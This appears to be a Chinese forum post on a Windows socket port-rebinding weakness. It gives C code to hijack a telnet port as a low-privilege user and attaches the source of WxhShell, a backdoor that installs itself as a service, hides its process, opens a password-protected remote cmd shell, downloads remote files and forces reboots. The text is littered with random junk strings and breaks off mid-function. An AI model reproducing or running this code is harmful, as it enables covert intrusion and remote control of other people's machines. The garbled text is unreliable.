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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x;Jy-hMNl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dw!cDfT+ >h7qI- saddr.sin_family = AF_INET; 2 -uL Z;QbqMj saddr.sin_addr.s_addr = htonl(INADDR_ANY); i7f/r. V4PD]5ZW bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xo>P?^c4? #yv_Eb02 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tPHDnh^n] \]W*0t>s 这意味着什么?意味着可以进行如下的攻击: f6ad@2 >8nRP%r[5, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d-=/@N!4e x%JtI'sg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T0ebW
w (P[:g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _s
Z9p4] :YU_ \EV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Xj&fWuA --S2lN/:T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z5v)~+"1 7N/v 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m]$!wp T^ ^o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~g+?]Lk} wYJ. F #include dhW)< #include h`OX()N #include dw8Ce8W #include T,,,+gPx DWORD WINAPI ClientThread(LPVOID lpParam); gD0 FRKn int main() x-km)2x=W { ;aip1Df WORD wVersionRequested; Ax4nx!W, DWORD ret; '@h5j6:2 WSADATA wsaData; YAqv: BOOL val; gh3XC.& SOCKADDR_IN saddr; 3EN?{T<yf SOCKADDR_IN scaddr; ^|?/
y= int err; Q&;dXE h SOCKET s; A7|!&fi SOCKET sc;
`k/hC int caddsize; y8uB>z+#+; HANDLE mt; t/\J DWORD tid; ++Qg5FukR wVersionRequested = MAKEWORD( 2, 2 ); Cyg\FHs err = WSAStartup( wVersionRequested, &wsaData ); WUSkN;idVG if ( err != 0 ) { hTZaI * printf("error!WSAStartup failed!\n"); pDO&I]S`q0 return -1; &
Me%ZM0 } 'Jww}^h1 saddr.sin_family = AF_INET; e.%`
tK3J K%ltB& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `w1|(Sk$h vd>X4e^j saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]?p&sI4 saddr.sin_port = htons(23); G%w hOIFRq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4~8++b1/; { .V9/0 printf("error!socket failed!\n"); G/Nb@pAy[ return -1; pmR6(/B# } rYbb&z!u val = TRUE; L\--h`~YU //SO_REUSEADDR选项就是可以实现端口重绑定的 &{?*aK&%3l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Cvr?%+)$M { q$Z.5EN printf("error!setsockopt failed!\n"); ,lLkAd?q return -1; 4i>sOP3
B } K'EGm #I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )2KQZMtgm] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |-l)$i@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %Ji@\|Zkf 8|uFW7Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /l -lkG5 { vq|o}6Et ret=GetLastError(); T> cvV printf("error!bind failed!\n"); ^fT|Wm< return -1; Ai&-W } *Y'@|xf* listen(s,2); JyY-@GF while(1) TQyi-Dc { gz-X4A" caddsize = sizeof(scaddr); V)CS,w //接受连接请求 SR@yG:~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8y5iT?.~vy if(sc!=INVALID_SOCKET) 3VZeUOxY\W { s*.CJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XS5*=hv: if(mt==NULL) G:NI+E"] { bLyU; printf("Thread Creat Failed!\n"); e)kN%JqW break; i#o:V/Z. } zrWkz3FN } T >XnVK CloseHandle(mt); Zi5d"V[}T } IKx]?0sS closesocket(s); / E~)xgPM< WSACleanup(); =c
3;@CO return 0; Ww&~ZZZ { } .'QE o DWORD WINAPI ClientThread(LPVOID lpParam) !PX`sIkT { bM[!E 8dF SOCKET ss = (SOCKET)lpParam; Ergh]"AD6- SOCKET sc; Y;ytm
#= unsigned char buf[4096]; fG2hCP+ SOCKADDR_IN saddr; B2\R#&X. long num; a[;TUc^I1F DWORD val; MYgh^%w: DWORD ret; =~M%zdIXv //如果是隐藏端口应用的话,可以在此处加一些判断
<WN? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 bjvpYZC\5 saddr.sin_family = AF_INET; ^sz4-+> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B]Vnu7 saddr.sin_port = htons(23); ?}4 =A&][ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *GxOiv7"4W { ag Za+a printf("error!socket failed!\n"); xxWrSl`fB return -1; /XtpGk_1) } $e66j V val = 100; n#,<-Rb- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =SJwCT0; { QJ2V&t"3 ret = GetLastError(); j{00iA} return -1; ck-ab0n } @Sb 86Ee if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*k)v#;B { i7g+8zd8d ret = GetLastError(); %Q9
iR5? return -1; oxkA+}^j8M } EugQr<sM# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X=O}k& { tmM8YN| printf("error!socket connect failed!\n"); "RPX_ closesocket(sc); VJ1(|v{D4[ closesocket(ss); r[>4b}4s return -1; ~Q7)6% } u2=gG. while(1) >iefEv\ { 1T(:bM_t`7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wez"E2J` //如果是嗅探内容的话,可以再此处进行内容分析和记录 6*3J3Lc_< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^+Ho#] num = recv(ss,buf,4096,0); W\xM$#)m if(num>0) 9Yih%d,
send(sc,buf,num,0); @* a'B=7 else if(num==0) e!cZW.B=`f break; 72oiO[>N' num = recv(sc,buf,4096,0); E[N5vG< if(num>0) f( (p\&y send(ss,buf,num,0); 8SmtEV[b3 else if(num==0) TNYd_:j break; hZ_0lX} } _2*Ryz closesocket(ss); 0@;kD]Z closesocket(sc); ZZ 1s}TG return 0 ; -&87nR(eW } VT.BHZ ^<L;"jl% mIu- ========================================================== 9y/gWE 1]eh0H 下边附上一个代码,,WXhSHELL 4h:R+o ^H^ e~7h8?\.q ========================================================== {)^P_zha[9
DtBIDU] #include "stdafx.h" }q0lbwYlb f@@2@#
5B #include <stdio.h> ('1k%`R% #include <string.h> Efo,5 #include <windows.h> qucw%hJ r #include <winsock2.h> $.Fti-5 #include <winsvc.h> )3O0:]<H #include <urlmon.h> Y XC?q 2?; =TJo$ #pragma comment (lib, "Ws2_32.lib") HA}pr6Z #pragma comment (lib, "urlmon.lib") )*&I|L<1 rTJv>Jjld #define MAX_USER 100 // 最大客户端连接数 q3.L6M #define BUF_SOCK 200 // sock buffer ,BuN]9# #define KEY_BUFF 255 // 输入 buffer -!]Ie4" d~[^D<5,D #define REBOOT 0 // 重启 *ml&}9 #define SHUTDOWN 1 // 关机 J7.}2 *h ~Y=#`8* #define DEF_PORT 5000 // 监听端口 VKa- =}@m$g #define REG_LEN 16 // 注册表键长度 }hT1@I
#define SVC_LEN 80 // NT服务名长度 z!09vDB^ ~i)O^CKq // 从dll定义API .;gK*`G2W) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;1Kxqpz_i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IT \Pj_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oYWcX9R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $#V^CmW. k^A Yg!~ // wxhshell配置信息 cE
x$cZRMI struct WSCFG { !ra CpL9; int ws_port; // 监听端口 |.D_[QI char ws_passstr[REG_LEN]; // 口令 5u ED int ws_autoins; // 安装标记, 1=yes 0=no ~<0!sE&y char ws_regname[REG_LEN]; // 注册表键名 6km{=
``` char ws_svcname[REG_LEN]; // 服务名 ,}&E=5MF\ char ws_svcdisp[SVC_LEN]; // 服务显示名 %SV"iXxY char ws_svcdesc[SVC_LEN]; // 服务描述信息 %I]?xe6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y]OW{5( int ws_downexe; // 下载执行标记, 1=yes 0=no x~."P*5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" W68d"J%>_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !x9j~D'C` Q
!5P }; vfT<%Kl!' U:]b&I // default Wxhshell configuration qL^}t_> struct WSCFG wscfg={DEF_PORT, ]y6`9p "xuhuanlingzhe", DI=Nqa)r 1, \K 01F "Wxhshell", F<q3{}1zR "Wxhshell", P=&J e? "WxhShell Service", ~Z5?\a2Ld "Wrsky Windows CmdShell Service", %l@Q&)f8e "Please Input Your Password: ", ak50]KYo 1, G)l[\6Dn " http://www.wrsky.com/wxhshell.exe", pt8X.f,iA "Wxhshell.exe" o a,Ju }; >vg!<%]W] `$`:PT\Zv4 // 消息定义模块
mQ#@"9l% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x+5Q}ux'G char *msg_ws_prompt="\n\r? for help\n\r#>"; [d!C6FT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @18@[ :d" char *msg_ws_ext="\n\rExit."; xM%E; char *msg_ws_end="\n\rQuit."; (5d~0 char *msg_ws_boot="\n\rReboot..."; lwLK#_5u char *msg_ws_poff="\n\rShutdown..."; R~b9) char *msg_ws_down="\n\rSave to "; B$7m@|p! bxP> char *msg_ws_err="\n\rErr!"; c< gM char *msg_ws_ok="\n\rOK!"; ;?;D(%L mM~!68lR char ExeFile[MAX_PATH]; G*BM'^0+ int nUser = 0; e#k9}n^+ HANDLE handles[MAX_USER]; <9bQAyL9 int OsIsNt; c>K/f7 Xj$J}A@ SERVICE_STATUS serviceStatus; |aN0|O2 SERVICE_STATUS_HANDLE hServiceStatusHandle; >c7/E fRT:@lV // 函数声明 bi!4I<E>k int Install(void); <Q=ES,M int Uninstall(void); ^e8R43w:! int DownloadFile(char *sURL, SOCKET wsh); 5h[u2&;G int Boot(int flag); p)tac*US void HideProc(void); QN-n9f8 int GetOsVer(void); CzzG int Wxhshell(SOCKET wsl); :LVM'c62c> void TalkWithClient(void *cs); &+`l
$h int CmdShell(SOCKET sock); oO @6c % int StartFromService(void); 'KQ]7 int StartWxhshell(LPSTR lpCmdLine); W<2%J)N< uYL6g:]+ZC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *D<S \6= VOID WINAPI NTServiceHandler( DWORD fdwControl ); LF%1)x (W+9 u0Zq // 数据结构和表定义 `ea$`2 SERVICE_TABLE_ENTRY DispatchTable[] = !U>"H8}dv { 1s\10 hK1c {wscfg.ws_svcname, NTServiceMain}, /db?ltb {NULL, NULL} ~1Tz[\H#R }; O)Nt"k7
b fokT)nf~^8 // 自我安装 |k&.1NkZ int Install(void) -7ct+3"J { joDfvY*[ char svExeFile[MAX_PATH]; 6Ep ns s HKEY key; =[{Pw8[' strcpy(svExeFile,ExeFile); q22cp&gmX Hh;w\)/%j // 如果是win9x系统,修改注册表设为自启动 }U'5j/EFZ if(!OsIsNt) { '! 1ts @ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;~]&$2sk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DHt 8 f RegCloseKey(key); zwU8i VDe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (53dl(L? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *"fg@B5 RegCloseKey(key); @+1E|4L1vf return 0; .ET;wK } JIb<>X, } Pms3X } }C*o;'o5G else { K-
}k-S `r*6P^P // 如果是NT以上系统,安装为系统服务 ? |8&!F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ";s5It
if (schSCManager!=0) GJO/']k { 8.pz?{**T SC_HANDLE schService = CreateService Wlg(z% ( 1A E/ILGo schSCManager, 7v,>sX wscfg.ws_svcname, F5
LQgK-z wscfg.ws_svcdisp, iqy}|xAU SERVICE_ALL_ACCESS, +crAkb}i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `zzX2R Je SERVICE_AUTO_START, mApn(& SERVICE_ERROR_NORMAL, x(]s#D!) svExeFile, ~;eWQwD NULL, iLmU|jdE NULL, ,Qyz2-
w NULL, e_1mO 5z NULL, 1
9
k$)m NULL n[4Nu`E9 ); CPVKz
if (schService!=0) c6c^9*,V { ''5%5(Y.r CloseServiceHandle(schService); ~Y'e1w$` CloseServiceHandle(schSCManager); m6;Xo}^w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yFpHRfF} strcat(svExeFile,wscfg.ws_svcname); w|L~+
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !'{j"tv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rB4#}+Uq RegCloseKey(key); .qK=lHxT return 0; ?>%u[g } k5/nAaiVE } ,xTbt4J CloseServiceHandle(schSCManager); Y~vTFOI } U~H'c
p } Ep?a>\ "~V}MPt return 1; ]Rj"/(X, } Q|ik\ UkqLLzL // 自我卸载 2#(7,o}Y5
int Uninstall(void) B8_l+dXO { +XpRkX&- HKEY key; ]UgAz ~JZLfw if(!OsIsNt) { /yykOvUO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '|d (<.[ RegDeleteValue(key,wscfg.ws_regname); N!h>fE` RegCloseKey(key); N"T8
Pt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q?"[zX1 RegDeleteValue(key,wscfg.ws_regname); /6q/`vx@ RegCloseKey(key); E`?BaCrG~ return 0; 6U&Uyd) } z!3Z^d` } rmabm\QY } jSG
jv> else { :%>8\q>UX VuPET SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^m+W if (schSCManager!=0) LqUvEq { 3FXMM&w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gx6&'${=# if (schService!=0) `+f\Q2]Z { _yoG<qI if(DeleteService(schService)!=0) { BphF+'CM CloseServiceHandle(schService); 1|nB\xgu CloseServiceHandle(schSCManager); E{fnh50^Q. return 0; )I>rC%2P } )/U1; O CloseServiceHandle(schService); IL\mFjZ' } i&HV8&KygN CloseServiceHandle(schSCManager); :_aY:` } U3V<ITZI8t } 0ay!tS
dN
=#V11j return 1; Z|/):nVP7 } F4&N;Zm2 &.z/dFmG // 从指定url下载文件 *C:+N> int DownloadFile(char *sURL, SOCKET wsh) A;|DQR() { uLCU3nI HRESULT hr; 'pe0Q- char seps[]= "/"; 7 %|>7 char *token; 19rUvgC{M char *file; #_7c>gn char myURL[MAX_PATH]; %nC Uct@c char myFILE[MAX_PATH]; ?hmb"^vlG 62_$O" strcpy(myURL,sURL); i4pJIb token=strtok(myURL,seps); 0K2[E^.WN while(token!=NULL) :RQ[(zD] { MMAC,4 file=token; IW1\vfe token=strtok(NULL,seps); BdKtpje } FO5SXwx )aC+qhh GetCurrentDirectory(MAX_PATH,myFILE); JdRs=#X strcat(myFILE, "\\"); >'jM8=o*Ax strcat(myFILE, file); CS{9|FNz send(wsh,myFILE,strlen(myFILE),0); E+)Go-rS( send(wsh,"...",3,0); sWC"^ S o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;MMFF { if(hr==S_OK) </=PN1=A return 0; c[y8"M5 else 1v4kN
- return 1; wtUG2 ( OL'=a|g|c } L%0lX$2&\ OKqpc;y:D // 系统电源模块 0?7uqS#L int Boot(int flag) O9_YVE/-] { )QE_+H}p HANDLE hToken; 10J*S[n1 TOKEN_PRIVILEGES tkp; (J4utw Z %:,=J if(OsIsNt) { gQEV;hCO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ueeay^zN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x-pMT3m\D# tkp.PrivilegeCount = 1; |gVO Iq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^%d{i'9? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XZInu5( if(flag==REBOOT) { 2T5xSpC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k:TfE6JZ return 0; SRTpE, } #{M
-3 else { 5a
~tp' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *o[%?$8T return 0; duS #&w } r+\z0_'
w6 } %p9bl ,x else { ^ ?=K) if(flag==REBOOT) { nsT|,O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #$w#"Nr9k return 0; ?lK!OyCkc } h9I)<_}R else { X*"Kg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XNUqZ-M: return 0; [&CM-`
N } a~*V } hwzUCh 5! g#4gGhI return 1; +V@=G &Ou0 } ~Z]vr6?$h +29\'w, // win9x进程隐藏模块 {h"\JI! void HideProc(void)
@__;RVQ { Nd_@J& F[EblJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q:gn>/ if ( hKernel != NULL ) &-fx=gq= { Jg:-TK/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mx9/K+: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7LwS =yP FreeLibrary(hKernel); pQ
6#L } f~FehN7 U!/nD~A return; @vYmkF` } 'pY;]^M O ->eg // 获取操作系统版本 fmJW d| int GetOsVer(void) 2&0<$> { *Zi%Q[0Me OSVERSIONINFO winfo; p'uz2/g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ rYS GetVersionEx(&winfo); &=Zg0Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 38rZ`O*D return 1; 5|CiwQg|,p else 3\n{,Q return 0; 1fFb7n~3 } S;Z3v)E-f ,-3(^d\1F // 客户端句柄模块 kI3zYD^: int Wxhshell(SOCKET wsl) %vt SeJ { ;p
5v3<PC SOCKET wsh; DBBBpb~~ struct sockaddr_in client; K$cIVsfr DWORD myID; ^|GtO. n2mw@Ay! while(nUser<MAX_USER) ox_h9=$- { r.b6E% D int nSize=sizeof(client); P\4tK<P| wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +n[wkgFd if(wsh==INVALID_SOCKET) return 1; J md
? }t2pIkF; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IZ0$=aB7 if(handles[nUser]==0) En9]x"_ closesocket(wsh); \TB%N1^ else TucAs0-bF nUser++; g0j4<\F2\ } lo UwRz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ` G=L07 )H9*NB8% return 0; (oitCIV } rz}l<t~H 0BB@E(* // 关闭 socket rm=~^eB void CloseIt(SOCKET wsh) :{s%=\k {d { {!1n5a3" 1 closesocket(wsh); g!p_c nUser--; G;HlII9x[ ExitThread(0); 2c~?UK[1 } ^i+z_%V g1wI/ // 客户端请求句柄 kbYg4t]FH void TalkWithClient(void *cs) L-C/Luws { U`9\P2D`/ <
mK SOCKET wsh=(SOCKET)cs; '?G[T28 char pwd[SVC_LEN]; !)/iRw9re char cmd[KEY_BUFF]; "YzTMKu char chr[1]; oT)VOkFq int i,j; [du>ff )fMX!#KP while (nUser < MAX_USER) { boF4d'g" gQh Ccv if(wscfg.ws_passstr) { reM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cF&h$4- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UW/3{2 //ZeroMemory(pwd,KEY_BUFF); Ac!&j=ZE i=0; +%#MrNM' while(i<SVC_LEN) { \8*,&ak% ,AbKxT
f2 // 设置超时 :@>br+S fd_set FdRead; Dd#
SUQ struct timeval TimeOut; JXY!c\, FD_ZERO(&FdRead); `H2F0{\og FD_SET(wsh,&FdRead); '^ e/F)0 TimeOut.tv_sec=8; sL7`=a.&T TimeOut.tv_usec=0; oA;jy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H@2v<e@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V1`5D7Z #HM\a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I4<{R pwd =chr[0]; /s8%02S if(chr[0]==0xd || chr[0]==0xa) { +/3
Z pwd=0; Kcw1uLb break; ;V"yMWjc } o?va#/fk i++; CS;W)F } K_&c5(-(_ A:.IBctsd // 如果是非法用户,关闭 socket \buZ? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <Sprp]n
7 } zK>'tFU fa4951_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); => uVp send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~t${=o430 }r~v,KDb while(1) { ll(e,9.D mF*?e/ ZeroMemory(cmd,KEY_BUFF); /h7>Z9T Y*kh$E%<# // 自动支持客户端 telnet标准 %%as>}. j=0; UL)" while(j<KEY_BUFF) { P )t]bS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T+K` ^xv_L cmd[j]=chr[0]; T3G/v)ufd if(chr[0]==0xa || chr[0]==0xd) { #0?"J) cmd[j]=0; ^fE\ S5P break; [>$\s=` h } (RDa,& j++; Ko$ $dkSE } *#Lsjk~_- -[zdX}x.: // 下载文件 qXrt0s[ if(strstr(cmd,"http://")) { *`+<x send(wsh,msg_ws_down,strlen(msg_ws_down),0); `'xQ6Sy if(DownloadFile(cmd,wsh)) LsJs Q
h send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,30FGz^i else &547`* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j}rgOz. } KFTf~!|
else { F@=e2e
4 MtpU~c switch(cmd[0]) { }t@f|TX 6\,DnO // 帮助 'DCKD4@C/ case '?': { Mvy6"Q: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (
oQ'4,F break; ,]~u:Y} } OwG6i|q // 安装 /*u#Ba<< case 'i': { xb4Pt`x)rS if(Install()) Smq r
q send(wsh,msg_ws_err,strlen(msg_ws_err),0); l5FuMk- else DAjG*K{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H!u nIy| break; i{TIm}_\ } /hm84La // 卸载 5z1\#" B[ case 'r': { u
iBl#J Q if(Uninstall()) 6uu^A9x send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0n4g$JK7 else p&i.)/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N@k3$+ls break; %*$5!; } F;IP3tD // 显示 wxhshell 所在路径 XOu+&wOu case 'p': { b->eg 8| char svExeFile[MAX_PATH]; AI&qU/} strcpy(svExeFile,"\n\r"); GxYW4b strcat(svExeFile,ExeFile); 3.Ji5~ send(wsh,svExeFile,strlen(svExeFile),0); c*N50%=4 break; A5sf } uzHT.iBn // 重启 +J"' 'cZ case 'b': { <(fdHQD!7> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PXV)NC if(Boot(REBOOT)) yt. f!" send(wsh,msg_ws_err,strlen(msg_ws_err),0); bRWIDPh else { Dq?E\ closesocket(wsh); 0yn[L3x7 ExitThread(0); 2Oyy`k
} gh TcB break; 9Hu
d|n } wz|DT3"Xs // 关机 Iha[Gu case 'd': { v9u<F6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ovo/!YJ2 if(Boot(SHUTDOWN)) X` ATH^S send(wsh,msg_ws_err,strlen(msg_ws_err),0); kB8
M i else { BYS lKTh closesocket(wsh); %Ys$@dB ExitThread(0); K]X`sH: } q %>7L<r break; 7skljw( } "lTZ|k^ // 获取shell 0mTEim case 's': { (z/jMMms CmdShell(wsh); %4,xx'` closesocket(wsh); YJd8l>mz ExitThread(0); _lXt8}:+ break; Dzr e' } T'.[F // 退出 R"Kz!NTB case 'x': { RwW$O@0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \QGa4_# CloseIt(wsh); j9:/RJS break; ,HZYG4, } @TysXx // 离开 fz3lR2~G case 'q': { qz`rL#W] send(wsh,msg_ws_end,strlen(msg_ws_end),0); =p q:m closesocket(wsh); )7dEi+v52 WSACleanup(); ^LVk5l)\>g exit(1); =2%VZE7Vm break; 7(C x!Yb } C',6%6P } 0 _A23.Y } "]#'QuR -w]/7cH // 提示信息 hsz^rZ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J=iRul^S } fagM7)x } Efx=T$%^& u]E.iXp return; U;U08/y } J4>;[\%m
WK==j1 // shell模块句柄 >3PMnI int CmdShell(SOCKET sock) OxQYNi2 { `\N]wlB2/b STARTUPINFO si; 8eJE>g1J ZeroMemory(&si,sizeof(si));
$:EG%jl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JoJukoy}F si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }G'XkoI& PROCESS_INFORMATION ProcessInfo; Od{jt7 <j# char cmdline[]="cmd"; [b/o$zR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vb!O8xV4;+ return 0;
ZzcPiTSO } I]R9HGJNlJ ?pG/m%[ // 自身启动模式 ,mKObMu int StartFromService(void) TH4\HY9qa? { / t5p- typedef struct S^N{wZo { wL3,g2- L DWORD ExitStatus; dv!r. DWORD PebBaseAddress; m`}{V5; DWORD AffinityMask; y=Q!-~5|fF DWORD BasePriority; %tm p ULONG UniqueProcessId; ;>>C)c4V " ULONG InheritedFromUniqueProcessId; Qxa{UQh}9 } PROCESS_BASIC_INFORMATION; }x :f%Z5h =&vFVIhWcf PROCNTQSIP NtQueryInformationProcess; (D7$$!} #;Tz[0 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pe.QiMW{8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ig \#f dRaO Gm) HANDLE hProcess; vH[Pb#f- PROCESS_BASIC_INFORMATION pbi; &<]<a_pw :iPym}CE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )9L/sKz if(NULL == hInst ) return 0; 2k5/SV
